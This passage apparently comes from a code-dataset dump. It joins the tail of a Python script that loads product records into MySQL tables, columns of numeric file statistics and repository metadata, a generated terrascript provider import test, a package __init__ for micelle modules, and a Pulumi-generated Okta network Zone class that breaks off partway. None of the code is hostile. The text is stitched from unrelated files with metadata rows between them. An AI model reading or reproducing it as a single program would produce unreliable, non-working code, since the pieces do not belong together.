values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson = str(info_value[9][i])[3:len(str(info_value[9][i])) - 3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__() - 1] != "":
jj = myjson[myjson.__len__() - 1]
for item in range(myjson.__len__() - 1):
kk = myjson[item] + "}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into gamingconsole_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into gamingconsole_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
cursor.execute(sqlQuery1, sqlValue1)
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_gamingconsole (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
# Insert headphone's data into tables
cursor.execute('select * from headphone')
data=cursor.fetchall()
# This part check headphone's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter headphones
for i in range(col[target_index].__len__()):
if re.search(headphone_title, target_title[i][0]):
query= """insert into headphone(
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson = str(info_value[9][i])[3:len(str(info_value[9][i])) - 3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__() - 1] != "":
jj = myjson[myjson.__len__() - 1]
for item in range(myjson.__len__() - 1):
kk = myjson[item] + "}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into headphone_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into headphone_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
cursor.execute(sqlQuery1, sqlValue1)
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_headphone (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
# Insert speaker's data into tables
cursor.execute('select * from speaker')
data=cursor.fetchall()
# This part check speaker's table is empty or not, if table is'nt empty, no action is needed
if not data:
# Filter speakers
for i in range(col[target_index].__len__()):
if re.search(speaker_title, target_title[i][0]):
query= """insert into speaker(
id, title_fa, title_en, url_code, category_fa, keywords, brand_fa, brand_en)
values (%s, %s, %s, %s, %s, %s, %s, %s)"""
# insert values of cells without brackets and parantheses and quotation marks
value=(int(info_value[0][i]),
str(info_value[1][i])[2:len(str(info_value[1][i]))-2],
str(info_value[2][i])[1:len(str(info_value[2][i]))-1],
str(info_value[3][i])[2:len(str(info_value[3][i]))-2],
str(info_value[5][i])[2:len(str(info_value[5][i]))-2],
str(info_value[6][i])[2:len(str(info_value[6][i]))-2],
str(info_value[7][i])[2:len(str(info_value[7][i]))-2],
str(info_value[8][i])[2:len(str(info_value[8][i]))-2])
# Insert operation
cursor.execute(query, value)
mydb.commit()
# Insert attribute's data (product_attribute) into tables
listOfJson = str(info_value[9][i])[3:len(str(info_value[9][i])) - 3]
myjson = re.split("},", listOfJson)
if myjson[myjson.__len__() - 1] != "":
jj = myjson[myjson.__len__() - 1]
for item in range(myjson.__len__() - 1):
kk = myjson[item] + "}"
lo = json.loads(kk)
# If 'Value' not in json's keys
if "Value" not in lo:
sqlQuery = """insert into speaker_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue = (int(info_value[0][i]), lo["Key"], "")
cursor.execute(sqlQuery, sqlValue)
break
sqlQuery1 = """insert into speaker_attribute (
product_id, mykey, myvalue)
values (%s, %s, %s)"""
sqlValue1 = (int(info_value[0][i]), lo["Key"], lo["Value"])
cursor.execute(sqlQuery1, sqlValue1)
# Insert title_alt's data into another table
x = info_value[4][i]
# Split strings in title_alt and insert into table
title_alt_array = re.split('،|,|-', str(x[0]))
for row in title_alt_array:
query2="""insert into title_alt_for_speaker (
product_id, description)
values (%s, %s)"""
value2=(int(info_value[0][i]), row)
cursor.execute(query2, value2)
mydb.commit()
del x, title_alt_array
del data
| 48.039783
| 100
| 0.503877
| 3,138
| 26,566
| 4.106437
| 0.059273
| 0.089399
| 0.089399
| 0.055875
| 0.894226
| 0.89345
| 0.876222
| 0.876222
| 0.834394
| 0.830591
| 0
| 0.028845
| 0.367086
| 26,566
| 552
| 101
| 48.126812
| 0.737183
| 0.114959
| 0
| 0.813333
| 0
| 0.013333
| 0.344566
| 0.009
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.002222
| 0.008889
| 0
| 0.008889
| 0.002222
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
73a6a5216d95ba6092a0341cf62b26370dea50b3
| 763
|
py
|
Python
|
tests/test_provider_camptocamp_jwt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 507
|
2017-07-26T02:58:38.000Z
|
2022-01-21T12:35:13.000Z
|
tests/test_provider_camptocamp_jwt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 135
|
2017-07-20T12:01:59.000Z
|
2021-10-04T22:25:40.000Z
|
tests/test_provider_camptocamp_jwt.py
|
mjuenema/python-terrascript
|
6d8bb0273a14bfeb8ff8e950fe36f97f7c6e7b1d
|
[
"BSD-2-Clause"
] | 81
|
2018-02-20T17:55:28.000Z
|
2022-01-31T07:08:40.000Z
|
# tests/test_provider_camptocamp_jwt.py
# Automatically generated by tools/makecode.py (24-Sep-2021 15:19:50 UTC)
def test_provider_import():
import terrascript.provider.camptocamp.jwt
def test_resource_import():
from terrascript.resource.camptocamp.jwt import jwt_hashed_token
from terrascript.resource.camptocamp.jwt import jwt_signed_token
# TODO: Shortcut imports without namespace for official and supported providers.
# TODO: This has to be moved into a required_providers block.
# def test_version_source():
#
# import terrascript.provider.camptocamp.jwt
#
# t = terrascript.provider.camptocamp.jwt.jwt()
# s = str(t)
#
# assert 'https://github.com/camptocamp/terraform-provider-jwt' in s
# assert '0.0.3' in s
| 28.259259
| 80
| 0.750983
| 105
| 763
| 5.32381
| 0.552381
| 0.139535
| 0.150268
| 0.171735
| 0.296959
| 0.161002
| 0.161002
| 0
| 0
| 0
| 0
| 0.023256
| 0.154653
| 763
| 26
| 81
| 29.346154
| 0.843411
| 0.63827
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0.038462
| 0
| 1
| 0.4
| true
| 0
| 1
| 0
| 1.4
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
73ba7ae45f1f8dac671a2636e47c8712a2a2f3ec
| 156
|
py
|
Python
|
MTM/micelles/__init__.py
|
MatKie/MT_micellization
|
bf0f6a2309b171746f6e43af5349301f586e34cd
|
[
"BSD-3-Clause"
] | null | null | null |
MTM/micelles/__init__.py
|
MatKie/MT_micellization
|
bf0f6a2309b171746f6e43af5349301f586e34cd
|
[
"BSD-3-Clause"
] | 1
|
2021-06-28T17:11:42.000Z
|
2021-06-28T17:11:42.000Z
|
MTM/micelles/__init__.py
|
MatKie/MT_micellization
|
bf0f6a2309b171746f6e43af5349301f586e34cd
|
[
"BSD-3-Clause"
] | null | null | null |
from .base_micelle import *
from .spherical_micelle import *
from .globular_micelle import *
from .rodlike_micelle import *
from .bilayer_vesicle import *
| 22.285714
| 32
| 0.801282
| 20
| 156
| 6
| 0.45
| 0.433333
| 0.566667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.134615
| 156
| 6
| 33
| 26
| 0.888889
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
73dbd31e6407966401a35dbbddd0a1c9bbba0a02
| 24,362
|
py
|
Python
|
sdk/python/pulumi_okta/network/zone.py
|
pulumi/pulumi-okta
|
83f7617a85b3d05213901773fa4e6a151ab6076b
|
[
"ECL-2.0",
"Apache-2.0"
] | 5
|
2019-10-29T21:59:22.000Z
|
2021-11-08T12:00:24.000Z
|
sdk/python/pulumi_okta/network/zone.py
|
pulumi/pulumi-okta
|
83f7617a85b3d05213901773fa4e6a151ab6076b
|
[
"ECL-2.0",
"Apache-2.0"
] | 109
|
2020-01-06T10:28:09.000Z
|
2022-03-25T19:52:40.000Z
|
sdk/python/pulumi_okta/network/zone.py
|
pulumi/pulumi-okta
|
83f7617a85b3d05213901773fa4e6a151ab6076b
|
[
"ECL-2.0",
"Apache-2.0"
] | 2
|
2020-09-11T16:31:04.000Z
|
2020-11-24T12:23:17.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = ['ZoneArgs', 'Zone']
@pulumi.input_type
class ZoneArgs:
def __init__(__self__, *,
type: pulumi.Input[str],
asns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_locations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_proxy_type: Optional[pulumi.Input[str]] = None,
gateways: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
proxies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
usage: Optional[pulumi.Input[str]] = None):
"""
The set of arguments for constructing a Zone resource.
:param pulumi.Input[str] type: Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
:param pulumi.Input[Sequence[pulumi.Input[str]]] asns: Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
:param pulumi.Input[Sequence[pulumi.Input[str]]] dynamic_locations: Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
:param pulumi.Input[str] dynamic_proxy_type: Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] gateways: Array of values in CIDR/range form.
:param pulumi.Input[str] name: Name of the Network Zone Resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] proxies: Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
:param pulumi.Input[str] usage: Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
pulumi.set(__self__, "type", type)
if asns is not None:
pulumi.set(__self__, "asns", asns)
if dynamic_locations is not None:
pulumi.set(__self__, "dynamic_locations", dynamic_locations)
if dynamic_proxy_type is not None:
pulumi.set(__self__, "dynamic_proxy_type", dynamic_proxy_type)
if gateways is not None:
pulumi.set(__self__, "gateways", gateways)
if name is not None:
pulumi.set(__self__, "name", name)
if proxies is not None:
pulumi.set(__self__, "proxies", proxies)
if usage is not None:
pulumi.set(__self__, "usage", usage)
@property
@pulumi.getter
def type(self) -> pulumi.Input[str]:
"""
Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: pulumi.Input[str]):
pulumi.set(self, "type", value)
@property
@pulumi.getter
def asns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
"""
return pulumi.get(self, "asns")
@asns.setter
def asns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "asns", value)
@property
@pulumi.getter(name="dynamicLocations")
def dynamic_locations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
"""
return pulumi.get(self, "dynamic_locations")
@dynamic_locations.setter
def dynamic_locations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "dynamic_locations", value)
@property
@pulumi.getter(name="dynamicProxyType")
def dynamic_proxy_type(self) -> Optional[pulumi.Input[str]]:
"""
Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
"""
return pulumi.get(self, "dynamic_proxy_type")
@dynamic_proxy_type.setter
def dynamic_proxy_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "dynamic_proxy_type", value)
@property
@pulumi.getter
def gateways(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of values in CIDR/range form.
"""
return pulumi.get(self, "gateways")
@gateways.setter
def gateways(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "gateways", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the Network Zone Resource.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def proxies(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
"""
return pulumi.get(self, "proxies")
@proxies.setter
def proxies(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "proxies", value)
@property
@pulumi.getter
def usage(self) -> Optional[pulumi.Input[str]]:
"""
Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
return pulumi.get(self, "usage")
@usage.setter
def usage(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "usage", value)
@pulumi.input_type
class _ZoneState:
def __init__(__self__, *,
asns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_locations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_proxy_type: Optional[pulumi.Input[str]] = None,
gateways: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
proxies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
usage: Optional[pulumi.Input[str]] = None):
"""
Input properties used for looking up and filtering Zone resources.
:param pulumi.Input[Sequence[pulumi.Input[str]]] asns: Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
:param pulumi.Input[Sequence[pulumi.Input[str]]] dynamic_locations: Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
:param pulumi.Input[str] dynamic_proxy_type: Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] gateways: Array of values in CIDR/range form.
:param pulumi.Input[str] name: Name of the Network Zone Resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] proxies: Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
:param pulumi.Input[str] type: Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
:param pulumi.Input[str] usage: Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
if asns is not None:
pulumi.set(__self__, "asns", asns)
if dynamic_locations is not None:
pulumi.set(__self__, "dynamic_locations", dynamic_locations)
if dynamic_proxy_type is not None:
pulumi.set(__self__, "dynamic_proxy_type", dynamic_proxy_type)
if gateways is not None:
pulumi.set(__self__, "gateways", gateways)
if name is not None:
pulumi.set(__self__, "name", name)
if proxies is not None:
pulumi.set(__self__, "proxies", proxies)
if type is not None:
pulumi.set(__self__, "type", type)
if usage is not None:
pulumi.set(__self__, "usage", usage)
@property
@pulumi.getter
def asns(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
"""
return pulumi.get(self, "asns")
@asns.setter
def asns(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "asns", value)
@property
@pulumi.getter(name="dynamicLocations")
def dynamic_locations(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
"""
return pulumi.get(self, "dynamic_locations")
@dynamic_locations.setter
def dynamic_locations(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "dynamic_locations", value)
@property
@pulumi.getter(name="dynamicProxyType")
def dynamic_proxy_type(self) -> Optional[pulumi.Input[str]]:
"""
Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
"""
return pulumi.get(self, "dynamic_proxy_type")
@dynamic_proxy_type.setter
def dynamic_proxy_type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "dynamic_proxy_type", value)
@property
@pulumi.getter
def gateways(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of values in CIDR/range form.
"""
return pulumi.get(self, "gateways")
@gateways.setter
def gateways(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "gateways", value)
@property
@pulumi.getter
def name(self) -> Optional[pulumi.Input[str]]:
"""
Name of the Network Zone Resource.
"""
return pulumi.get(self, "name")
@name.setter
def name(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "name", value)
@property
@pulumi.getter
def proxies(self) -> Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]:
"""
Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
"""
return pulumi.get(self, "proxies")
@proxies.setter
def proxies(self, value: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]]):
pulumi.set(self, "proxies", value)
@property
@pulumi.getter
def type(self) -> Optional[pulumi.Input[str]]:
"""
Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
"""
return pulumi.get(self, "type")
@type.setter
def type(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "type", value)
@property
@pulumi.getter
def usage(self) -> Optional[pulumi.Input[str]]:
"""
Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
return pulumi.get(self, "usage")
@usage.setter
def usage(self, value: Optional[pulumi.Input[str]]):
pulumi.set(self, "usage", value)
class Zone(pulumi.CustomResource):
@overload
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
asns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_locations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_proxy_type: Optional[pulumi.Input[str]] = None,
gateways: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
proxies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
usage: Optional[pulumi.Input[str]] = None,
__props__=None):
"""
Creates an Okta Network Zone.
This resource allows you to create and configure an Okta Network Zone.
## Example Usage
```python
import pulumi
import pulumi_okta as okta
example = okta.network.Zone("example",
gateways=[
"1.2.3.4/24",
"2.3.4.5-2.3.4.15",
],
proxies=[
"2.2.3.4/24",
"3.3.4.5-3.3.4.15",
],
type="IP")
```
### Dynamic Tor Blocker
```python
import pulumi
import pulumi_okta as okta
example = okta.network.Zone("example",
dynamic_proxy_type="TorAnonymizer",
type="DYNAMIC",
usage="BLOCKLIST")
```
## Import
Okta Network Zone can be imported via the Okta ID.
```sh
$ pulumi import okta:network/zone:Zone example <zone id>
```
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] asns: Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
:param pulumi.Input[Sequence[pulumi.Input[str]]] dynamic_locations: Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
:param pulumi.Input[str] dynamic_proxy_type: Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] gateways: Array of values in CIDR/range form.
:param pulumi.Input[str] name: Name of the Network Zone Resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] proxies: Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
:param pulumi.Input[str] type: Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
:param pulumi.Input[str] usage: Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
...
@overload
def __init__(__self__,
resource_name: str,
args: ZoneArgs,
opts: Optional[pulumi.ResourceOptions] = None):
"""
Creates an Okta Network Zone.
This resource allows you to create and configure an Okta Network Zone.
## Example Usage
```python
import pulumi
import pulumi_okta as okta
example = okta.network.Zone("example",
gateways=[
"1.2.3.4/24",
"2.3.4.5-2.3.4.15",
],
proxies=[
"2.2.3.4/24",
"3.3.4.5-3.3.4.15",
],
type="IP")
```
### Dynamic Tor Blocker
```python
import pulumi
import pulumi_okta as okta
example = okta.network.Zone("example",
dynamic_proxy_type="TorAnonymizer",
type="DYNAMIC",
usage="BLOCKLIST")
```
## Import
Okta Network Zone can be imported via the Okta ID.
```sh
$ pulumi import okta:network/zone:Zone example <zone id>
```
:param str resource_name: The name of the resource.
:param ZoneArgs args: The arguments to use to populate this resource's properties.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
...
def __init__(__self__, resource_name: str, *args, **kwargs):
resource_args, opts = _utilities.get_resource_args_opts(ZoneArgs, pulumi.ResourceOptions, *args, **kwargs)
if resource_args is not None:
__self__._internal_init(resource_name, opts, **resource_args.__dict__)
else:
__self__._internal_init(resource_name, *args, **kwargs)
def _internal_init(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
asns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_locations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_proxy_type: Optional[pulumi.Input[str]] = None,
gateways: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
proxies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
usage: Optional[pulumi.Input[str]] = None,
__props__=None):
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = ZoneArgs.__new__(ZoneArgs)
__props__.__dict__["asns"] = asns
__props__.__dict__["dynamic_locations"] = dynamic_locations
__props__.__dict__["dynamic_proxy_type"] = dynamic_proxy_type
__props__.__dict__["gateways"] = gateways
__props__.__dict__["name"] = name
__props__.__dict__["proxies"] = proxies
if type is None and not opts.urn:
raise TypeError("Missing required property 'type'")
__props__.__dict__["type"] = type
__props__.__dict__["usage"] = usage
super(Zone, __self__).__init__(
'okta:network/zone:Zone',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None,
asns: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_locations: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
dynamic_proxy_type: Optional[pulumi.Input[str]] = None,
gateways: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
name: Optional[pulumi.Input[str]] = None,
proxies: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
usage: Optional[pulumi.Input[str]] = None) -> 'Zone':
"""
Get an existing Zone resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] asns: Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
:param pulumi.Input[Sequence[pulumi.Input[str]]] dynamic_locations: Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
:param pulumi.Input[str] dynamic_proxy_type: Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
:param pulumi.Input[Sequence[pulumi.Input[str]]] gateways: Array of values in CIDR/range form.
:param pulumi.Input[str] name: Name of the Network Zone Resource.
:param pulumi.Input[Sequence[pulumi.Input[str]]] proxies: Array of values in CIDR/range form. Can not be set if `usage` is set to `"BLOCKLIST"`.
:param pulumi.Input[str] type: Type of the Network Zone - can either be `"IP"` or `"DYNAMIC"` only.
:param pulumi.Input[str] usage: Usage of the Network Zone - can be either `"POLICY"` or `"BLOCKLIST"`. By default, it is `"POLICY"`.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = _ZoneState.__new__(_ZoneState)
__props__.__dict__["asns"] = asns
__props__.__dict__["dynamic_locations"] = dynamic_locations
__props__.__dict__["dynamic_proxy_type"] = dynamic_proxy_type
__props__.__dict__["gateways"] = gateways
__props__.__dict__["name"] = name
__props__.__dict__["proxies"] = proxies
__props__.__dict__["type"] = type
__props__.__dict__["usage"] = usage
return Zone(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter
def asns(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Array of Autonomous System Numbers (each element is a string representation of an ASN numeric value).
"""
return pulumi.get(self, "asns")
@property
@pulumi.getter(name="dynamicLocations")
def dynamic_locations(self) -> pulumi.Output[Optional[Sequence[str]]]:
"""
Array of locations [ISO-3166-1](https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2)
and [ISO-3166-2](https://en.wikipedia.org/wiki/ISO_3166-2). Format code: countryCode OR countryCode-regionCode.
"""
return pulumi.get(self, "dynamic_locations")
@property
@pulumi.getter(name="dynamicProxyType")
def dynamic_proxy_type(self) -> pulumi.Output[Optional[str]]:
"""
Type of proxy being controlled by this dynamic network zone - can be one of `Any`, `TorAnonymizer` or `NotTorAnonymizer`.
"""
return pulumi.get(self, "dynamic_proxy_type")
